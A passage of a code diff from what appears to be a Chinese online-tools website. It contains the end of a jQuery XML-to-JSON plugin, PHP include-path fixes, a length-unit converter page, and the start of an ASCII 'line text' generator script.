txt += cnv.replace(/^\s+/,'').replace(/\s+$/,'');
|
||||
// make sure we ditch trailing spaces from markup
|
||||
}
|
||||
else{
|
||||
/*DBG*/ //if(window.console) console.log(['x2j',nn,'node>e',cnn,'OBJECT']);
|
||||
obj = obj || {};
|
||||
if(obj[cnn]){
|
||||
/*DBG*/ //if(window.console) console.log(['x2j',nn,'node>f',cnn,'ARRAY']);
|
||||
|
||||
// http://forum.jquery.com/topic/jquery-jquery-xml2json-problems-when-siblings-of-the-same-tagname-only-have-a-textnode-as-a-child
|
||||
if(!obj[cnn].length) obj[cnn] = myArr(obj[cnn]);
|
||||
obj[cnn] = myArr(obj[cnn]);
|
||||
|
||||
obj[cnn][ obj[cnn].length ] = parseXML(cn, true/* simple */);
|
||||
obj[cnn].length = obj[cnn].length;
|
||||
}
|
||||
else{
|
||||
/*DBG*/ //if(window.console) console.log(['x2j',nn,'node>g',cnn,'dig deeper...']);
|
||||
obj[cnn] = parseXML(cn);
|
||||
};
|
||||
};
|
||||
});
|
||||
};//node.childNodes.length>0
|
||||
};//node.childNodes
|
||||
if(node.attributes){
|
||||
if(node.attributes.length>0){
|
||||
/*DBG*/ //if(window.console) console.log(['x2j',nn,'ATTRIBUTES',node.attributes])
|
||||
att = {}; obj = obj || {};
|
||||
$.each(node.attributes, function(a,at){
|
||||
var atn = jsVar('@'+at.name), atv = at.value;
|
||||
att[atn] = atv;
|
||||
if(obj[atn]){
|
||||
/*DBG*/ //if(window.console) console.log(['x2j',nn,'attr>',atn,'ARRAY']);
|
||||
|
||||
// http://forum.jquery.com/topic/jquery-jquery-xml2json-problems-when-siblings-of-the-same-tagname-only-have-a-textnode-as-a-child
|
||||
//if(!obj[atn].length) obj[atn] = myArr(obj[atn]);//[ obj[ atn ] ];
|
||||
obj[cnn] = myArr(obj[cnn]);
|
||||
|
||||
obj[atn][ obj[atn].length ] = atv;
|
||||
obj[atn].length = obj[atn].length;
|
||||
}
|
||||
else{
|
||||
/*DBG*/ //if(window.console) console.log(['x2j',nn,'attr>',atn,'TEXT']);
|
||||
obj[atn] = atv;
|
||||
};
|
||||
});
|
||||
//obj['attributes'] = att;
|
||||
};//node.attributes.length>0
|
||||
};//node.attributes
|
||||
if(obj){
|
||||
obj = $.extend( (txt!='' ? new String(txt) : {}),/* {text:txt},*/ obj || {}/*, att || {}*/);
|
||||
//txt = (obj.text) ? (typeof(obj.text)=='object' ? obj.text : [obj.text || '']).concat([txt]) : txt;
|
||||
txt = (obj.text) ? ([obj.text || '']).concat([txt]) : txt;
|
||||
if(txt) obj.text = txt;
|
||||
txt = '';
|
||||
};
|
||||
var out = obj || txt;
|
||||
//console.log([extended, simple, out]);
|
||||
if(extended){
|
||||
if(txt) out = {};//new String(out);
|
||||
txt = out.text || txt || '';
|
||||
if(txt) out.text = txt;
|
||||
if(!simple) out = myArr(out);
|
||||
};
|
||||
return out;
|
||||
};// parseXML
|
||||
// Core Function End
|
||||
// Utility functions
|
||||
var jsVar = function(s){ return String(s || '').replace(/-/g,"_"); };
|
||||
|
||||
// NEW isNum function: 01/09/2010
|
||||
// Thanks to Emile Grau, GigaTecnologies S.L., www.gigatransfer.com, www.mygigamail.com
|
||||
function isNum(s){
|
||||
// based on utility function isNum from xml2json plugin (http://www.fyneworks.com/ - diego@fyneworks.com)
|
||||
// few bugs corrected from original function :
|
||||
// - syntax error : regexp.test(string) instead of string.test(reg)
|
||||
// - regexp modified to accept comma as decimal mark (latin syntax : 25,24 )
|
||||
// - regexp modified to reject if no number before decimal mark : ".7" is not accepted
|
||||
// - string is "trimmed", allowing to accept space at the beginning and end of string
|
||||
var regexp=/^((-)?([0-9]+)(([\.\,]{0,1})([0-9]+))?$)/
|
||||
return (typeof s == "number") || regexp.test(String((s && typeof s == "string") ? jQuery.trim(s) : ''));
|
||||
};
|
||||
// OLD isNum function: (for reference only)
|
||||
//var isNum = function(s){ return (typeof s == "number") || String((s && typeof s == "string") ? s : '').test(/^((-)?([0-9]*)((\.{0,1})([0-9]+))?$)/); };
|
||||
|
||||
var myArr = function(o){
|
||||
|
||||
// http://forum.jquery.com/topic/jquery-jquery-xml2json-problems-when-siblings-of-the-same-tagname-only-have-a-textnode-as-a-child
|
||||
//if(!o.length) o = [ o ]; o.length=o.length;
|
||||
if(!$.isArray(o)) o = [ o ]; o.length=o.length;
|
||||
|
||||
// here is where you can attach additional functionality, such as searching and sorting...
|
||||
return o;
|
||||
};
|
||||
// Utility functions End
|
||||
//### PARSER LIBRARY END
|
||||
|
||||
// Convert plain text to xml
|
||||
if(typeof xml=='string') xml = $.text2xml(xml);
|
||||
|
||||
// Quick fail if not xml (or if this is a node)
|
||||
if(!xml.nodeType) return;
|
||||
if(xml.nodeType == 3 || xml.nodeType == 4) return xml.nodeValue;
|
||||
|
||||
// Find xml root node
|
||||
var root = (xml.nodeType == 9) ? xml.documentElement : xml;
|
||||
|
||||
// Convert xml to json
|
||||
var out = parseXML(root, true /* simple */);
|
||||
|
||||
// Clean-up memory
|
||||
xml = null; root = null;
|
||||
|
||||
// Send output
|
||||
return out;
|
||||
},
|
||||
|
||||
// Convert text to XML DOM
|
||||
text2xml: function(str) {
|
||||
// NOTE: I'd like to use jQuery for this, but jQuery makes all tags uppercase
|
||||
//return $(xml)[0];
|
||||
|
||||
/* prior to jquery 1.9 */
|
||||
/*
|
||||
var out;
|
||||
try{
|
||||
var xml = ((!$.support.opacity && !$.support.style))?new ActiveXObject("Microsoft.XMLDOM"):new DOMParser();
|
||||
xml.async = false;
|
||||
}catch(e){ throw new Error("XML Parser could not be instantiated") };
|
||||
try{
|
||||
if((!$.support.opacity && !$.support.style)) out = (xml.loadXML(str))?xml:false;
|
||||
else out = xml.parseFromString(str, "text/xml");
|
||||
}catch(e){ throw new Error("Error parsing XML string") };
|
||||
return out;
|
||||
*/
|
||||
|
||||
/* jquery 1.9+ */
|
||||
return $.parseXML(str);
|
||||
}
|
||||
|
||||
}); // extend $
|
||||
|
||||
})(jQuery);
|
|
@ -1,6 +1,6 @@
|
|||
<?php
|
||||
$id="6";
|
||||
include '../header.php';?>
|
||||
include '../../header.php';?>
|
||||
<div class="container clearfix">
|
||||
<div class="row row-xs">
|
||||
<div class="col-lg-6 col-md-6 col-sm-6 col-xs-10 col-xs-offset-1 col-sm-offset-3 col-md-offset-3 col-lg-offset-3">
|
||||
|
@ -25,4 +25,4 @@ include '../header.php';?>
|
|||
</div>
|
||||
</div>
|
||||
<script type="text/javascript" src="kg.php"></script>
|
||||
<?php include '../footer.php';?>
|
||||
<?php include '../../footer.php';?>
|
|
@ -0,0 +1,337 @@
|
|||
<?php
|
||||
$id = '41';
|
||||
include '../../header.php';
|
||||
?>
|
||||
<script language="javascript" type="text/javascript">
|
||||
function LENGTH_MEASURES() {
|
||||
this.mKilometer = 1000;
|
||||
this.mMeter = 1;
|
||||
this.mDecimeter = 0.1;
|
||||
this.mCentimeter = 0.01;
|
||||
this.mMillimeter = 0.001;
|
||||
this.mDecimillimetre = 0.00001;
|
||||
this.mMicronmeter = 0.000001;
|
||||
this.nMicronmeter = 0.000000001;
|
||||
this.mLimeter = 500;
|
||||
this.mZhangmeter = 10 / 3;
|
||||
this.mChimeter = 1 / 3;
|
||||
this.mCunmeter = 1 / 30;
|
||||
this.mFenmeter = 1 / 300;
|
||||
this.mmLimeter = 1 / 3000;
|
||||
this.engFoot = 0.3048;
|
||||
this.engMile = 5280 * this.engFoot;
|
||||
this.engFurlong = 660 * this.engFoot;
|
||||
this.engYard = 3 * this.engFoot;
|
||||
this.engInch = this.engFoot / 12;
|
||||
this.nautMile = 1852;
|
||||
this.nautFathom = 6 * this.engFoot;
|
||||
}
|
||||
var length_data = new LENGTH_MEASURES();
|
||||
function checkNum(str) {
|
||||
for (var i = 0; i < str.length; i++) {
|
||||
var ch = str.substring(i, i + 1);
|
||||
if (ch != "." && ch != "+" && ch != "-" && ch != "e" && ch != "E" && (ch < "0" || ch > "9")) {
|
||||
alert("请输入有效的数字");
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
function normalize(what, digits) {
|
||||
var str = "" + what;
|
||||
var pp = Math.max(str.lastIndexOf("+"), str.lastIndexOf("-"));
|
||||
var idot = str.indexOf(".");
|
||||
if (idot >= 1) {
|
||||
var ee = (pp > 0) ? str.substring(pp - 1, str.length) : "";
|
||||
digits += idot;
|
||||
if (digits >= str.length) {
|
||||
return str;
|
||||
}
|
||||
if (pp > 0 && digits >= pp) {
|
||||
digits -= pp;
|
||||
}
|
||||
var c = eval(str.charAt(digits));
|
||||
var ipos = digits - 1;
|
||||
if (c >= 5) {
|
||||
while (str.charAt(ipos) == "9") {
|
||||
ipos--;
|
||||
}
|
||||
if (str.charAt(ipos) == ".") {
|
||||
var nc = eval(str.substring(0, idot)) + 1;
|
||||
if (nc == 10 && ee.length > 0) {
|
||||
nc = 1;
|
||||
ee = "e" + (eval(ee.substring(1, ee.length)) + 1);
|
||||
}
|
||||
return "" + nc + ee;
|
||||
}
|
||||
return str.substring(0, ipos) + (eval(str.charAt(ipos)) + 1) + ee;
|
||||
} else {
|
||||
var ret = str.substring(0, digits) + ee;
|
||||
}
|
||||
for (var i = 0; i < ret.length; i++) {
|
||||
if (ret.charAt(i) > "0" && ret.charAt(i) <= "9") {
|
||||
return ret;
|
||||
}
|
||||
}
|
||||
return str;
|
||||
}
|
||||
return str;
|
||||
}
|
||||
function compute(obj, val, data) {
|
||||
if (obj[val].value) {
|
||||
var uval = 0;
|
||||
uval = obj[val].value * data[val];
|
||||
if ((uval >= 0) && (obj[val].value.indexOf("-") != -1)) {
|
||||
uval = -uval;
|
||||
}
|
||||
for (var i in data) {
|
||||
obj[i].value = normalize(uval / data[i], 8);
|
||||
}
|
||||
}
|
||||
}
|
||||
function resetValues(form, data) {
|
||||
for (var i in data) {
|
||||
form[i].value = "";
|
||||
}
|
||||
}
|
||||
function resetAll(form) {
|
||||
resetValues(form, length_data);
|
||||
}
|
||||
</script>
|
||||
<style>
|
||||
tr td{padding: 0px 5px 0px 5px;}
|
||||
</style>
|
||||
<div class="container">
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading">
|
||||
<h3 class="panel-title">在线长度换算器</h3>
|
||||
</div>
|
||||
<div class="panel-body">
|
||||
<div class="col-md-6 col-md-offset-3">
|
||||
<form action="">
|
||||
<div class="form-group">
|
||||
<label class="col-sm-3 control-label">公里(km)</label>
|
||||
<div class="col-sm-5">
|
||||
<input name=mKilometer size="15" class="form-control">
|
||||
</div>
|
||||
<div class="col-sm-4">
|
||||
<input onClick="if (checkNum(mKilometer.value)) compute(this.form,mKilometer.name,length_data)" type=button value="换算" class="btn btn-default" name=mKilometer_bt>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="form-group">
|
||||
<label class="col-sm-3 control-label">米(m)</label>
|
||||
<div class="col-sm-5">
|
||||
<input name=mMeter size="15" class="form-control">
|
||||
</div>
|
||||
<div class="col-sm-4">
|
||||
<input onClick="if (checkNum(mMeter.value)) compute(this.form,mMeter.name,length_data)" type=button value="换算" class="btn btn-default" name=mMeter_bt>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="form-group">
|
||||
<label class="col-sm-3 control-label">分米(dm)</label>
|
||||
<div class="col-sm-5">
|
||||
<input name=mDecimeter size="15" class="form-control">
|
||||
</div>
|
||||
<div class="col-sm-4">
|
||||
<input onClick="if (checkNum(mDecimeter.value)) compute(this.form,mDecimeter.name,length_data)" type=button value="换算" class="btn btn-default" name=mDecimeter_bt>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="form-group">
|
||||
<label class="col-sm-3 control-label">厘米(cm)</label>
|
||||
<div class="col-sm-5">
|
||||
<input name=mCentimeter size="15" class="form-control">
|
||||
</div>
|
||||
<div class="col-sm-4">
|
||||
<input onClick="if (checkNum(mCentimeter.value)) compute(this.form,mCentimeter.name,length_data)" type=button value="换算" class="btn btn-default" name=mCentimeter_bt>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="form-group">
|
||||
<label class="col-sm-3 control-label">毫米(mm)</label>
|
||||
<div class="col-sm-5">
|
||||
<input name=mMillimeter size="15" class="form-control">
|
||||
</div>
|
||||
<div class="col-sm-4">
|
||||
<input onClick="if (checkNum(mMillimeter.value)) compute(this.form,mMillimeter.name,length_data)" type=button value="换算" class="btn btn-default" name=mMillimeter_bt>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="form-group">
|
||||
<label class="col-sm-3 control-label">丝(dmm)</label>
|
||||
<div class="col-sm-5">
|
||||
<input name=mDecimillimetre size="15" class="form-control">
|
||||
</div>
|
||||
<div class="col-sm-4">
|
||||
<input onClick="if (checkNum(mDecimillimetre.value)) compute(this.form,mDecimillimetre.name,length_data)" type=button value="换算" class="btn btn-default" name=mDecimillimetre_bt>
|
||||
</div>
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<label class="col-sm-3 control-label">微米(um)</label>
|
||||
<div class="col-sm-5">
|
||||
<input name=mMicronmeter size="15" class="form-control">
|
||||
</div>
|
||||
<div class="col-sm-4">
|
||||
<input onClick="if (checkNum(mMicronmeter.value)) compute(this.form,mMicronmeter.name,length_data)" type=button value="换算" class="btn btn-default" name=mMicronmeter_bt>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="form-group">
|
||||
<label class="col-sm-3 control-label">里</label>
|
||||
<div class="col-sm-5">
|
||||
<input name=mLimeter size="15" class="form-control">
|
||||
</div>
|
||||
<div class="col-sm-4">
|
||||
<input onClick="if (checkNum(mLimeter.value)) compute(this.form,mLimeter.name,length_data)" type=button value="换算" class="btn btn-default" name=mLimeter_bt>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="form-group">
|
||||
<label class="col-sm-3 control-label">丈</label>
|
||||
<div class="col-sm-5">
|
||||
<input name=mZhangmeter size="15" class="form-control">
|
||||
</div>
|
||||
<div class="col-sm-4">
|
||||
<input onClick="if (checkNum(mZhangmeter.value)) compute(this.form,mZhangmeter.name,length_data)" type=button value="换算" class="btn btn-default" name=mZhangmeter_bt>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="form-group">
|
||||
<label class="col-sm-3 control-label">尺</label>
|
||||
<div class="col-sm-5">
|
||||
<input name=mChimeter size="15" class="form-control">
|
||||
</div>
|
||||
<div class="col-sm-4">
|
||||
<input onClick="if (checkNum(mChimeter.value)) compute(this.form,mChimeter.name,length_data)" type=button value="换算" class="btn btn-default" name=mChimeter_bt>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="form-group">
|
||||
<label class="col-sm-3 control-label">寸</label>
|
||||
<div class="col-sm-5">
|
||||
<input name=mCunmeter size="15" class="form-control">
|
||||
</div>
|
||||
<div class="col-sm-4">
|
||||
<input onClick="if (checkNum(mCunmeter.value)) compute(this.form,mCunmeter.name,length_data)" type=button value="换算" class="btn btn-default" name=mCunmeter_bt>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="form-group">
|
||||
<label class="col-sm-3 control-label">分</label>
|
||||
<div class="col-sm-5">
|
||||
<input name=mFenmeter size="15" class="form-control">
|
||||
</div>
|
||||
<div class="col-sm-4">
|
||||
<input onClick="if (checkNum(mFenmeter.value)) compute(this.form,mFenmeter.name,length_data)" type=button value="换算" class="btn btn-default" name=mFenmeter_bt>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="form-group">
|
||||
<label class="col-sm-3 control-label">厘</label>
|
||||
<div class="col-sm-5">
|
||||
<input name=mmLimeter size="15" class="form-control">
|
||||
</div>
|
||||
<div class="col-sm-4">
|
||||
<input onClick="if (checkNum(mmLimeter.value)) compute(this.form,mmLimeter.name,length_data)" type=button value="换算" class="btn btn-default" name=mmLimeter_bt>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="form-group">
|
||||
<label class="col-sm-3 control-label">海里(nmi)</label>
|
||||
<div class="col-sm-5">
|
||||
<input name=nautMile size="15" class="form-control">
|
||||
</div>
|
||||
<div class="col-sm-4">
|
||||
<input onClick="if (checkNum(nautMile.value)) compute(this.form,nautMile.name,length_data)" type=button value="换算" class="btn btn-default" name=nautMile_bt>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="form-group">
|
||||
<label class="col-sm-3 control-label">英寻</label>
|
||||
<div class="col-sm-5">
|
||||
<input name=nautFathom size="15" class="form-control">
|
||||
</div>
|
||||
<div class="col-sm-4">
|
||||
<input onClick="if (checkNum(nautFathom.value)) compute(this.form,nautFathom.name,length_data)" type=button value="换算" class="btn btn-default" name=nautFathom_bt>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="form-group">
|
||||
<label class="col-sm-3 control-label">英里(mi)</label>
|
||||
<div class="col-sm-5">
|
||||
<input name=engMile size="15" class="form-control">
|
||||
</div>
|
||||
<div class="col-sm-4">
|
||||
<input onClick="if (checkNum(engMile.value)) compute(this.form,engMile.name,length_data)" type=button value="换算" class="btn btn-default" name=engMile_bt>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="form-group">
|
||||
<label class="col-sm-3 control-label">弗隆(fur)</label>
|
||||
<div class="col-sm-5">
|
||||
<input name=engFurlong size="15" class="form-control">
|
||||
</div>
|
||||
<div class="col-sm-4">
|
||||
<input onClick="if (checkNum(engFurlong.value)) compute(this.form,engFurlong.name,length_data)" type=button value="换算" class="btn btn-default" name=engFurlong_bt>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="form-group">
|
||||
<label class="col-sm-3 control-label">码(yd)</label>
|
||||
<div class="col-sm-5">
|
||||
<input name=engYard size="15" class="form-control">
|
||||
</div>
|
||||
<div class="col-sm-4">
|
||||
<input onClick="if (checkNum(engYard.value)) compute(this.form,engYard.name,length_data)" type=button value="换算" class="btn btn-default" name=engYard_bt>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="form-group">
|
||||
<label class="col-sm-3 control-label">英尺(ft)</label>
|
||||
<div class="col-sm-5">
|
||||
<input name=engFoot size="15" class="form-control">
|
||||
</div>
|
||||
<div class="col-sm-4">
|
||||
<input onClick="if (checkNum(engFoot.value)) compute(this.form,engFoot.name,length_data)" type=button value="换算" class="btn btn-default" name=engFoot_bt>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="form-group">
|
||||
<label class="col-sm-3 control-label">英寸(in)</label>
|
||||
<div class="col-sm-5">
|
||||
<input name=engInch size="15" class="form-control">
|
||||
</div>
|
||||
<div class="col-sm-4">
|
||||
<input onClick="if (checkNum(engInch.value)) compute(this.form,engInch.name,length_data)" type=button value="换算" class="btn btn-default" name=engInch_bt>
|
||||
</div>
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<label class="col-sm-3 control-label">纳米(nm)</label>
|
||||
<div class="col-sm-5">
|
||||
<input name=nMicronmeter size="15" class="form-control">
|
||||
</div>
|
||||
<div class="col-sm-4">
|
||||
<input onClick="if (checkNum(nMicronmeter.value)) compute(this.form,nMicronmeter.name,length_data)" type=button value="换算" class="btn btn-default" name=nMicronmeter_bt>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div align="right"><input onClick=resetAll(this.form) type=button value="数据重置" name=res7 class="btn btn-success"></div>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading">
|
||||
<h3 class="panel-title">工具简介</h3>
|
||||
</div>
|
||||
<div class="panel-body">
|
||||
<p>长度换算器:可实现在线公里(km)、米(m)、分米(dm)、厘米(cm)、里、丈、尺、寸、分、厘、海里(nmi)、英寻、英里、弗隆(fur)、码(yd)、英尺(ft)、英寸(in)、毫米(mm)、微米(um)间的互转互换。</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<?php include '../../footer.php';?>
|
|
@ -0,0 +1,43 @@
|
|||
<?php
|
||||
$id="40";
|
||||
include '../../header.php';?>
|
||||
<script src="js.js"></script>
|
||||
<div class="container clearfix">
|
||||
<div class="row row-xs">
|
||||
<div class="col-lg-6 col-md-6 col-sm-6 col-xs-10 col-xs-offset-1 col-sm-offset-3 col-md-offset-3 col-lg-offset-3">
|
||||
<div class="page-header">
|
||||
<h3 class="text-center h3-xs"><?php echo $title;?><small class="text-capitalize"><?php echo $subtitle;?></small></h3>
|
||||
</div>
|
||||
<h5 class="text-right"><small><?php echo $explains;?></small></h5>
|
||||
<form name="ascii">
|
||||
<div class="form-group">
|
||||
<label class="sr-only" for="exampleInputAmount">英文字母</label>
|
||||
<div class="input-group">
|
||||
<div class="input-group-addon">文本</div>
|
||||
<input type="text" class="form-control" id="exampleInputAmount" placeholder="Young xj" value="Young xj" name="inputField">
|
||||
</div>
|
||||
<div>字体风格:
|
||||
<select name="textStyle" class="form-control">
|
||||
<option>Futuristik</option>
|
||||
<option selected="">Block</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<input onclick="beginGenerator()" type="button" value="生成线条字" name="button" class="btn btn-success">
|
||||
<input onclick="outputField.select();document.execCommand("Copy")" type="button" value="复制" class="btn btn-info">
|
||||
|
||||
</div>
|
||||
<span id="windowMarker">
|
||||
<textarea name="outputField" wrap="off" style="height:200px; font-family:'宋体';" class="form-control">
|
||||
线条字生成器,是一个生成由字符组成的“线条字”的在线转换工具。因其笔划形如缝纫线痕,故名。
|
||||
本转换器只支持字母和数字的转换,另外,可以使用换行符“\n”对输入的内容进行一次换行操作。
|
||||
</textarea>
|
||||
</span>
|
||||
</form>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
</div>
|
||||
<?php include '../../footer.php';?>
|
|
@ -0,0 +1,200 @@
|
|||
|
||||
function previewStyle() {
|
||||
if (!document.all){
|
||||
alert("You need IE 4+ to preview style!")
|
||||
return
|
||||
}
|
||||
if(document.ascii.textStyle[0].selected&&document.all) {style1.style.display = ""; style1.style.top = (windowMarker.offsetTop+20); style1.style.left = (screen.width / 3)}
|
||||
if(document.ascii.textStyle[1].selected&&document.all) {style2.style.display = ""; style2.style.top = (windowMarker.offsetTop+20); style2.style.left = (screen.width / 4)}
|
||||
if(document.ascii.textStyle[2].selected&&document.all) {style3.style.display = ""; style3.style.top = (windowMarker.offsetTop+20); style3.style.left = (screen.width / 4)}
|
||||
}
|
||||
function beginGenerator() {
|
||||
var validChars = true;
|
||||
var inputText = document.ascii.inputField.value;
|
||||
inputText = inputText.toLowerCase();
|
||||
for(i = 0; i < inputText.length; i++) {
|
||||
if(inputText.charAt(i) != "a" && inputText.charAt(i) != "b" && inputText.charAt(i) != "c" && inputText.charAt(i) != "d" && inputText.charAt(i) != "e" && inputText.charAt(i) != "f" && inputText.charAt(i) != "g" && inputText.charAt(i) != "h" && inputText.charAt(i) != "i" && inputText.charAt(i) != "j" && inputText.charAt(i) != "k" && inputText.charAt(i) != "l" && inputText.charAt(i) != "m" && inputText.charAt(i) != "n" && inputText.charAt(i) != "o" && inputText.charAt(i) != "p" && inputText.charAt(i) != "q" && inputText.charAt(i) != "r" && inputText.charAt(i) != "s" && inputText.charAt(i) != "t" && inputText.charAt(i) != "u" && inputText.charAt(i) != "v" && inputText.charAt(i) != "w" && inputText.charAt(i) != "x" && inputText.charAt(i) != "y" && inputText.charAt(i) != "z" && inputText.charAt(i) != " " && inputText.charAt(i) != "0" && inputText.charAt(i) != "1" && inputText.charAt(i) != "2" && inputText.charAt(i) != "3" && inputText.charAt(i) != "4" && inputText.charAt(i) != "5" && inputText.charAt(i) != "6" && inputText.charAt(i) != "7" && inputText.charAt(i) != "8" && inputText.charAt(i) != "9" && inputText.substring(i,(i+2)) != "\\n") {validChars = false; invalChar = inputText.charAt(i)};
|
||||
}
|
||||
if(validChars == false) {alert('错误:字符 "'+invalChar+'" 无效。 只有字母 a-z 数字 0-9 被接受。')}
|
||||
if(validChars == true) {
|
||||
if(document.ascii.textStyle[0].selected) {buildStyle1(inputText)}
|
||||
if(document.ascii.textStyle[1].selected) {buildStyle2(inputText)}
|
||||
}
|
||||
}
|
||||
function buildStyle1(inputText,booleanRepeat) {
|
||||
var newline = false; var line0 = ""; var line1 = ""; var line2 = ""; var line3 = ""; var space = " "; var a = new Array(4); var b = new Array(4); var c = new Array(4); var d = new Array(4); var e = new Array(4); var f = new Array(4); var g = new Array(4); var h = new Array(4); var I = new Array(4); var j = new Array(4); var k = new Array(4); var l = new Array(4); var m = new Array(4); var n = new Array(4); var o = new Array(4); var p = new Array(4); var q = new Array(4); var r = new Array(4); var s = new Array(4); var t = new Array(4); var u = new Array(4); var v = new Array(4); var w = new Array(4); var x = new Array(4); var y = new Array(4); var z = new Array(4); var zero = new Array(4); var one = new Array(4); var two = new Array(4); var three = new Array(4); var four = new Array(4); var five = new Array(4); var six = new Array(4); var seven = new Array(4); var eight = new Array(4); var nine = new Array(4);
|
||||
a[0] = " "; a[1] = " __ "; a[2] = "(__( "; a[3] = " ";
|
||||
b[0] = " "; b[1] = "|__ "; b[2] = "|__) "; b[3] = " ";
|
||||
c[0] = " "; c[1] = " __ "; c[2] = "(___ "; c[3] = " ";
|
||||
d[0] = " "; d[1] = " __| "; d[2] = "(__| "; d[3] = " ";
|
||||
e[0] = " "; e[1] = " ___ "; e[2] = "(__/_ "; e[3] = " ";
|
||||
f[0] = " _ "; f[1] = "_|_ "; f[2] = " | "; f[3] = " ";
|
||||
g[0] = " "; g[1] = " __ "; g[2] = "(__| "; g[3] = " __/ ";
|
||||
h[0] = " "; h[1] = "|__ "; h[2] = "| ) "; h[3] = " ";
|
||||
I[0] = " "; I[1] = "o "; I[2] = "| "; I[3] = " ";
|
||||
j[0] = " "; j[1] = " | "; j[2] = "(__, "; j[3] = " ";
|
||||
k[0] = " "; k[1] = "|__, "; k[2] = "| \\ "; k[3] = " ";
|
||||
l[0] = " "; l[1] = "| "; l[2] = "|_, "; l[3] = " ";
|
||||
m[0] = " "; m[1] = " __ __ "; m[2] = "| ) ) "; m[3] = " ";
|
||||
n[0] = " "; n[1] = " __ "; n[2] = "| ) "; n[3] = " ";
|
||||
o[0] = " "; o[1] = " __ "; o[2] = "(__) "; o[3] = " ";
|
||||
p[0] = " "; p[1] = " __ "; p[2] = "|__) "; p[3] = "| ";
|
||||
q[0] = " "; q[1] = " __ "; q[2] = "(__| "; q[3] = " | ";
|
||||
r[0] = " "; r[1] = " __ "; r[2] = "| ' "; r[3] = " ";
|
||||
s[0] = " "; s[1] = " __ "; s[2] = "__) "; s[3] = " ";
|
||||
t[0] = " "; t[1] = "_|_ "; t[2] = " |_, "; t[3] = " ";
|
||||
u[0] = " "; u[1] = " "; u[2] = "(__(_ "; u[3] = " ";
|
||||
v[0] = " "; v[1] = " "; v[2] = "(__| "; v[3] = " ";
|
||||
w[0] = " "; w[1] = " "; w[2] = "(__(__( "; w[3] = " ";
|
||||
x[0] = " "; x[1] = "\\_' "; x[2] = "/ \\ "; x[3] = " ";
|
||||
y[0] = " "; y[1] = " "; y[2] = "(__| "; y[3] = " | ";
|
||||
z[0] = " "; z[1] = "__ "; z[2] = " (__ "; z[3] = " ";
|
||||
zero[0] = " __ "; zero[1] = "| | "; zero[2] = "|__| "; zero[3] = " ";
|
||||
one[0] = " "; one[1] = "'| "; one[2] = " | "; one[3] = " ";
|
||||
two[0] = " __ "; two[1] = " __) "; two[2] = "(___ "; two[3] = " ";
|
||||
three[0] = "___ "; three[1] = " _/ "; three[2] = "__) "; three[3] = " ";
|
||||
four[0] = " "; four[1] = "(__| "; four[2] = " | "; four[3] = " ";
|
||||
five[0] = " __ "; five[1] = "(__ "; five[2] = "___) "; five[3] = " ";
|
||||
six[0] = " "; six[1] = " /_ "; six[2] = "(__) "; six[3] = " ";
|
||||
seven[0] = "__ "; seven[1] = " / "; seven[2] = " / "; seven[3] = " ";
|
||||
eight[0] = " __ "; eight[1] = "(__) "; eight[2] = "(__) "; eight[3] = " ";
|
||||
nine[0] = " __ "; nine[1] = "(__) "; nine[2] = " / "; nine[3] = " ";
|
||||
for(i=0; i < inputText.length; i++) {
|
||||
if(inputText.charAt(i) == " ") {line0 += space; line1 += space; line2 += space; line3 += space}
|
||||
if(inputText.charAt(i) == "a") {line0 += a[0]; line1 += a[1]; line2 += a[2]; line3 += a[3]}
|
||||
if(inputText.charAt(i) == "b") {line0 += b[0]; line1 += b[1]; line2 += b[2]; line3 += b[3]}
|
||||
if(inputText.charAt(i) == "c") {line0 += c[0]; line1 += c[1]; line2 += c[2]; line3 += c[3]}
|
||||
if(inputText.charAt(i) == "d") {line0 += d[0]; line1 += d[1]; line2 += d[2]; line3 += d[3]}
|
||||
if(inputText.charAt(i) == "e") {line0 += e[0]; line1 += e[1]; line2 += e[2]; line3 += e[3]}
|
||||
if(inputText.charAt(i) == "f") {line0 += f[0]; line1 += f[1]; line2 += f[2]; line3 += f[3]}
|
||||
if(inputText.charAt(i) == "g") {line0 += g[0]; line1 += g[1]; line2 += g[2]; line3 += g[3]}
|
||||
if(inputText.charAt(i) == "h") {line0 += h[0]; line1 += h[1]; line2 += h[2]; line3 += h[3]}
|
||||
if(inputText.charAt(i) == "i") {line0 += I[0]; line1 += I[1]; line2 += I[2]; line3 += I[3]}
|
||||
if(inputText.charAt(i) == "j") {line0 += j[0]; line1 += j[1]; line2 += j[2]; line3 += j[3]}
|
||||
if(inputText.charAt(i) == "k") {line0 += k[0]; line1 += k[1]; line2 += k[2]; line3 += k[3]}
|
||||
if(inputText.charAt(i) == "l") {line0 += l[0]; line1 += l[1]; line2 += l[2]; line3 += l[3]}
|
||||
if(inputText.charAt(i) == "m") {line0 += m[0]; line1 += m[1]; line2 += m[2]; line3 += m[3]}
|
||||
